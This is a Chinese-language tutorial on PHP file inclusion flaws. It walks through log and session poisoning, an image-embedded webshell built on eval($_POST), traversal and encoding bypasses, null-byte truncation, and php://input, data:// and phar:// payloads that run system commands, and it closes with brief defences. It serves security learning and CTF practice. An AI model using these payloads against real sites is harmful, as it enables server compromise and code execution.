簡介
通過PHP
函數引入文件時,傳入的文件名沒有經過合理的驗證,從而操作了預想之外的文件,導致意外的文件泄漏甚至惡意代碼注入。
常見的文件包含函數
php中常見的文件包含函數有以下四種:
- include()
- require()
- include_once()
- require_once()
include與require基本是相同的,除了錯誤處理方面:
- include(),只生成警告(E_WARNING),並且腳本會繼續
- require(),會生成致命錯誤(E_COMPILE_ERROR)並停止腳本
- include_once()與require_once(),如果文件已包含,則不會包含,其他特性如上
文件包含漏洞的總結
包含Apache日志文件
WEB服務器一般會將用戶的訪問記錄保存在訪問日志中。那么我們可以根據日志記錄的內容,精心構造請求,把PHP代碼插入到日志文件中,通過文件包含漏洞來執行日志中的PHP代碼。
利用條件
- 對日志文件可讀
- 知道日志文件存儲目錄
注意
- 一般情況下日志存儲目錄會被修改,需要讀取服務器配置文件(httpd.conf,nginx.conf......)或者根據phpinfo()中的信息來得知
- 日志記錄的信息都可以被調整,比如記錄報錯的等級,或者內容格式
Apache運行后一般默認會生成兩個日志文件,Windos下是access.log(訪問日志)和error.log(錯誤日志),Linux下是access_log和error_log,訪問日志文件記錄了客戶端的每次請求和服務器響應的相關信息。
如果訪問一個不存在的資源時,如http://www.xxxx.com/,則會記錄在日志中,但是代碼中的敏感字符會被瀏覽器轉碼,我們可以通過burpsuit繞過編碼,就可以把 寫入apache的日志文件,然后可以通過包含日志文件來執行此代碼,但前提是你得知道apache日志文件的存儲路徑,所以為了安全起見,安裝apache時盡量不要使用默認路徑。
參考文章:1.包含日志文件getshell
2.一道包含日志文件的CTF題
包含SESSION文件
可以先根據嘗試包含到SESSION文件,在根據文件內容尋找可控變量,在構造payload插入到文件中,最后包含即可。
session常見存儲路徑:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
- session文件格式: sess_[phpsessid] ,而 phpsessid 在發送的請求的 cookie 字段中可以看到。
參考文章:一道SESSION包含的CTF題
包含/pros/self/environ
proc/self/environ中會保存user-agent頭,如果在user-agent中插入php代碼,則php代碼會被寫入到environ中,之后再包含它,即可。
利用條件:
- php以cgi方式運行,這樣environ才會保持UA頭。
- environ文件存儲位置已知,且environ文件可讀。
參考文章:proc / self / environ Injection
包含臨時文件
php中上傳文件,會創建臨時文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。
由於包含需要知道包含的文件名。一種方法是進行暴力猜解,linux下使用的隨機函數有缺陷,而window下只有65535中不同的文件名,所以這個方法是可行的。
另一種方法是配合phpinfo頁面的php variables,可以直接獲取到上傳文件的存儲路徑和臨時文件名,直接包含即可。這個方法可以參考[LFI With PHPInfo Assistance](https://www.insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdf)
類似利用臨時文件的存在,競爭時間去包含的,可以看看這道CTF題:XMAN夏令營-2017-babyweb-writeup
包含上傳文件
很多網站通常會提供文件上傳功能,比如:上傳頭像、文檔等,這時就可以采取上傳一句話圖片木馬的方式進行包含。
圖片馬的制作方式如下,在cmd控制台下輸入:
進入1.jpg和2.php的文件目錄后,執行:
copy 1.jpg/b+2.php 3.jpg
將圖片1.jpg和包含php代碼的2.php文件合並生成圖片馬3.jpg
假設已經上傳一句話圖片木馬到服務器,路徑為/upload/201811.jpg
圖片代碼如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
然后訪問URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg
,包含這張圖片,將會在index.php
所在的目錄下生成shell.php
其他包含姿勢
- 包含SMTP(日志)
- 包含xss
文件包含漏洞利用的繞過
指定前綴繞過
目錄遍歷
使用 ../../ 來返回上一目錄,被稱為目錄遍歷(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php
測試代碼如下:
<?php
error_reporting(0);
$file = $_GET["file"];
//前綴
include "/var/www/html/".$file;
highlight_file(__FILE__);
?>
現在在/var/log目錄下有文件flag.txt,則利用…/可以進行目錄遍歷,比如我們嘗試訪問:
include.php?file=../../log/flag.txt
則服務器端實際拼接出來的路徑為:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,從而包含成功。
編碼繞過
服務器端常常會對於../等做一些過濾,可以用一些編碼來進行繞過。
利用url編碼
- ../
- %2e%2e%2f
- ..%2f
- %2e%2e/
- ..\
- %2e%2e%5c
- ..%5c
- %2e%2e\
二次編碼
- ../
- %252e%252e%252f
- ..\
- %252e%252e%255c
容器/服務器的編碼方式
- ../
- ..%c0%af
- %c0%ae%c0%ae/
- 注:java中會把”%c0%ae”解析為”\uC0AE”,最后轉義為ASCCII字符的”.”(點)
Apache Tomcat Directory Traversal
- 注:java中會把”%c0%ae”解析為”\uC0AE”,最后轉義為ASCCII字符的”.”(點)
- ..\
- ..%c1%9c
指定后綴繞過
后綴繞過測試代碼如下,下述各后綴繞過方法均使用此代碼:
<?php
error_reporting(0);
$file = $_GET["file"];
//后綴
include $file.".txt";
highlight_file(__FILE__);
?>
利用url
在遠程文件包含漏洞(RFI)中,可以利用query或fragment來繞過后綴限制。
可參考此文章:URI’s fragment
完整url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
query(?)
- [訪問參數]
?file=http://localhost:8081/phpinfo.php?
- [拼接后]
?file=http://localhost:8081/phpinfo.php?.txt
Example:(設在根目錄下有flag2.txt文件)
fragment(#)
- [訪問參數]
?file=http://localhost:8081/phpinfo.php%23
- [拼接后]
?file=http://localhost:8081/phpinfo.php#.txt
Example:(設在根目錄下有flag2.txt文件)
利用協議
利用zip://和phar://,由於整個壓縮包都是我們的可控參數,那么只需要知道他們的后綴,便可以自己構建。
zip://
- [訪問參數]
?file=zip://D:\zip.jpg%23phpinfo
- [拼接后]
?file=zip://D:\zip.jpg#phpinfo.txt
phar://
- [訪問參數]
?file=phar://zip.zip/phpinfo
- [拼接后]
?file=phar://zip.zip/phpinfo.txt
Example:
(我的環境根目錄中有php.zip壓縮包,內含phpinfo.txt,其中包含代碼))
所以分別構造payload為:
?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo
?file=phar://../../php.zip/phpinfo
長度截斷
利用條件:
- php版本 < php 5.2.8
原理:
- Windows下目錄最大長度為256字節,超出的部分會被丟棄
- Linux下目錄最大長度為4096字節,超出的部分會被丟棄。
利用方法:
-
只需要不斷的重復 ./(Windows系統下也可以直接用 . 截斷)
?file=./././。。。省略。。。././shell.php
則指定的后綴.txt會在達到最大值后會被直接丟棄掉
%00截斷
利用條件:
- magic_quotes_gpc = Off
- php版本 < php 5.3.4
利用方法:
-
直接在文件名的最后加上%00來截斷指定的后綴名
?file=shell.php%00
注:現在用到%00階段的情況已經不多了
利用PHP偽協議
越權訪問本地文件
file:// — 訪問本地文件系統
文件系統是PHP使用的默認封裝協議,展現了本地文件系統
<?php
$res = file_get_contents("file://E://wamp//www//test//solution.php");
var_dump($res);
?>
這里的要重點注意,file://這個偽協議可以展示"本地文件系統",當存在某個用戶可控制、並得以訪問執行的輸入點時,我們可以嘗試輸入file://去試圖獲取本地磁盤文件
http://www.wechall.net/challenge/crappyshare/index.php
http://www.wechall.net/challenge/crappyshare/crappyshare.php
在這題CTF中,攻擊的關鍵點在於:curl_exec($ch)
function upload_please_by_url($url)
{
if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL?
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
if (false === ($file_data = curl_exec($ch)))
{
htmlDisplayError('cURL failed.');
}
else
{
// Thanks
upload_please_thx($file_data);
}
}
else
{
htmlDisplayError('Your URL looks errorneous.');
}
}
當我們輸入的file://參數被帶入curl中執行時,原本的遠程URL訪問會被重定向到本地磁盤上,從而達到越權訪問文件的目的
php://filter -- 對本地磁盤文件進行讀寫
php://filter是一種元封裝器,設計用於"數據流打開"時的"篩選過濾"應用。這對於一體式(all-in-one)的文件函數非常有用,類似readfile()、file()、file_get_contens(),在數據流內容讀取之前沒有機會應用其他過濾器
<?php
@include($_GET["file"]);
?>
url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+ (base64解密就可以看到內容,這里如果不進行base64_encode,則被include進來的代碼就會被執行,導致看不到源代碼)
向磁盤寫入文件
<?php
/* 這會通過 rot13 過濾器篩選出字符 "Hello World"
然后寫入當前目錄下的 example.txt */
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>
這個參數采用一個或以管道符 | 分隔的多個過濾器名稱
代碼任意執行
php:// — 訪問各個輸入/輸出流(I/O streams)
http://cn2.php.net/manual/zh/wrappers.php.php
PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標准輸入輸出和錯誤描述符, 內存中、磁盤備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器。
1.1) php://input
php://input 是個可以訪問請求的原始數據的只讀流(這個原始數據指的是POST數據)
<?php
$res = file_get_contents("php://input");
var_dump($res);
?>
post提交數據:hello
result: hello
偽協議php://input需要服務器支持,同時要求"allow_url_include"設置為"On"
利用偽協議的這種性質,我們可以將LFI衍生為一個code excute漏洞
http://www.freebuf.com/articles/web/14097.html#comment-16863
<?php
@eval(file_get_contents('php://input'))
?>
http://localhost/test/index.php
post: system("dir");
result: list directory
這本質上遠程文件包含的利用,我們知道,遠程文件包含中的include接收的是一個"資源定位符",在大多數情況下這是一個磁盤文件路徑,但是從流的角度來看,這也可以是一個流資源定位符,即我們將include待包含的資源又重定向到了輸入流中,從而可以輸入我們的任意code到include中
<?php
@include($_GET["file"]);
?>
http://localhost/test/index.php?file=php://input
post: <?php system('ipconfig');?>
result: ip information
(有一點要注意)
在利用文件包含進行代碼執行的時候,我們通過file_get_contents獲取到的文件內容,如果是一個.php文件,會被當作include的輸入參數,也就意味着會被再執行一次,則我們無法看到原始代碼了,解決這個問題的方法就是使用base64_encode進行編碼
php://偽協議框架中還有其他的流,但是和源代碼執行似乎沒有關系,這里也列出來大家一起學習吧
php://output是一個只寫的數據流,允許我們以print和echo一樣的方式寫入到輸出緩沖區
<?php
$data = "hello LittleHann";
$res = file_put_contents("php://output", $data);
?>
result: hello LittleHann
php://memory和php://temp是一個類似"文件包裝器"的數據流,允許讀寫"臨時數據"。兩者唯一的區別是:
- php://memory 總是把數據存儲在內存中
- php://temp會在內存量達到預定義的限制后(默認是2M)存入臨時文件中
臨時文件位置的決定和sys_get_temp_dir()的方式一致(upload_tmp_dir = "E:/wamp/tmp")
<?php
$fp = fopen("php://memory", 'r+');
fputs($fp, "hello LittleHann!!!\n");
rewind($fp);
while(!feof($fp))
{
echo fread($fp, 1024);
}
fclose($fp);
?>
result:
hello LittleHann!!!
data://偽協議
http://www.php.net/manual/zh/wrappers.data.php
這是一種數據流封裝器,data:URI schema(URL schema可以是很多形式)
利用data://偽協議進行代碼執行的思路原理和php://是類似的,都是利用了PHP中的流的概念,將原本的include的文件流重定向到了用戶可控制的輸入流中
data:text/plain,...
<?php
@include($_GET["file"]);
?>
url: http://localhost/test/wrapper.php?file=data:text/plain,<?php system("net user")?>
result: user information
data://text/base64,...
<?php
@include($_GET["file"]);
?>
url: http://localhost/test/wrapper.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4=
result: user information
data://image/jpeg;base64,...
<?php
$jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata']));
?>
圖片木馬
目錄遍歷
glob://偽協議
glob:// 查找匹配的文件路徑模式
<?php
// 循環 ext/spl/examples/ 目錄里所有 *.php 文件
// 並打印文件名和文件尺寸
$it = new DirectoryIterator("glob://E:\\wamp\\www\\test\\*.php");
foreach($it as $f)
{
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
利用流包裝器(stream wrapper)
zip或phar協議包含文件
假設目標應用中有如下代碼:
<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
<?php
$file = $_GET['file'];
include($file.'.jpg');
?>
上面的代碼包含了一個文件包含的功能,但是它驗證了后綴是否為jpg,然后才包含。
對於現在這種情況,要包含php文件,實現lfi的話,可以通過截斷。但是\x00的截斷在php>5.3.4就沒用了,而且還要考慮GPC。那有沒有其他的方法呢?答案是有的。
其實我們可以通過zip協議和phar協議來包含文件。
zip://
首先我們新建一個zip文件,里面壓縮着一個php腳本。
http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg
phar://
首先我們要用phar類打包一個phar標准包
<?php
$p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP) ;
$x=file_get_contents('./php.php');
$p->addFromString('a.jpg', $x);
?>
會生成一個zip的壓縮文件。然后我們構造
http://127.0.0.1/file.php?file=phar://phartest2.zip/a.jpg
也可以直接shell。
這種攻擊方式對webshel檢測來說是一個十分困難的問題,其本質在於實際webshell的利用形態和webshell文本之間,存在 N:1 的多模態關系。
通俗的說就是,對於一個簡單的文件包含代碼來說:
<?php
$file = $_GET['file'];
include($file.'.jpg');
?>
根據其傳入參數的不同(上下文的不同),可以有 N 種不同的利用形態,這就導致旁路檢測無法對所有可能的路徑進行模擬。
Relevant Link:https://bl4ck.in/tricks/2015/06/10/zip或phar協議包含文件.html
phar協議對象注入
Phar(PHP Archive)文件可以包含序列化格式的元數據,這個機制允許我們內建一些回調函數在Phar class中,在處理文件的時候同時,實現一些代碼邏輯。
讓我們創建一個Phar文件,並添加一個包含一些數據作為元數據的對象:
<?php
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
?>
我們新建的test.phar文件有以下內容。我們可以看到對象被存儲為一個序列化的字符串。
如果現在通過phar://對我們現有的Phar文件執行文件操作,則其序列化元數據將被反序列化。這意味着我們在元數據中注入的對象被加載到應用程序的范圍中。
如果此應用程序具有已命名的AnyClass類並且具有魔術方法destruct()或wakeup()定義,則會自動調用這些方法。這意味着我們可以在代碼庫中觸發任何析構函數或wakeup方法。
class AnyClass {
function __destruct() {
echo $this->data;
}
}
// output: rips
include('phar://test.phar');
值得注意的是, 不僅限於include,任何文件相關的api都可以觸發phar協議,例如fopen()、unlink()、stat()、fstat()、fseek()、rename()、opendir()、rmdir()、mkdir()、file_get_contents,例如:
<?php
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);
glob('phar://some.phar/*');
new DirectoryIterator('glob://phar://some.phar/*');
?>
對於旁路檢測來說,相比於RASP,因為其無法拿到實際入侵中的攻擊流量,導致其搜索空間會十分巨大。
Relevant Link:
- https://www.php.net/manual/zh/phar.using.stream.php
- https://www.freebuf.com/articles/web/182231.html
文件包含漏洞防御
- allow_url_include和allow_url_fopen最小權限化
- 設置open_basedir(open_basedir 將php所能打開的文件限制在指定的目錄樹中)
- 白名單限制包含文件,或者嚴格過濾 . / \
- 盡量不要使用動態包含,可以在需要包含的頁面固定寫好,如:include('head.php')。